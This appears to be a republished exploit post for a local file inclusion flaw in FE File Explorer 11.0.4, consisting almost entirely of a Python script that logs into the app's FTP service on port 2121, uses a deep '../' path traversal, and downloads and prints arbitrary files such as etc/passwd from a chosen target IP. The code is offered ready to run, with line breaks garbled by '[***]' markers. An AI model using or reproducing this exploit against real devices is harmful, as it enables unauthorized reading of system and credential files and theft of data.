Published on September 7th, 2022 📆 | 3975 Views ⚑
0FE File Explorer 11.0.4 Local File Inclusion – Torchsec
from ftplib import FTP[***]import argparse
help = " FE File Explorer Local File inclusion"[***]parser = argparse.ArgumentParser(description=help)[***]parser.add_argument("--target", help="Target IP", required=True)[***]parser.add_argument("--file", help="File To Open eg: etc/passwd")
args = parser.parse_args()
ip = args.target[***]port = 2121 # Default Port[***]files = args.file
ftpConnection = FTP()[***]ftpConnection.connect(host=ip, port=port)[***]ftpConnection.login();
def downloadFile():
ftpConnection.cwd('/../../../../../../../../../../../../../../../../')[***]ftpConnection.retrbinary(f"RETR {files}", open('data.txt',[***]'wb').write)[***]ftpConnection.close()[***]file = open('data.txt', 'r')[***]print (f"[***] The contents of {files}\n")[***]print (file.read())
downloadFile()[***]
Gloss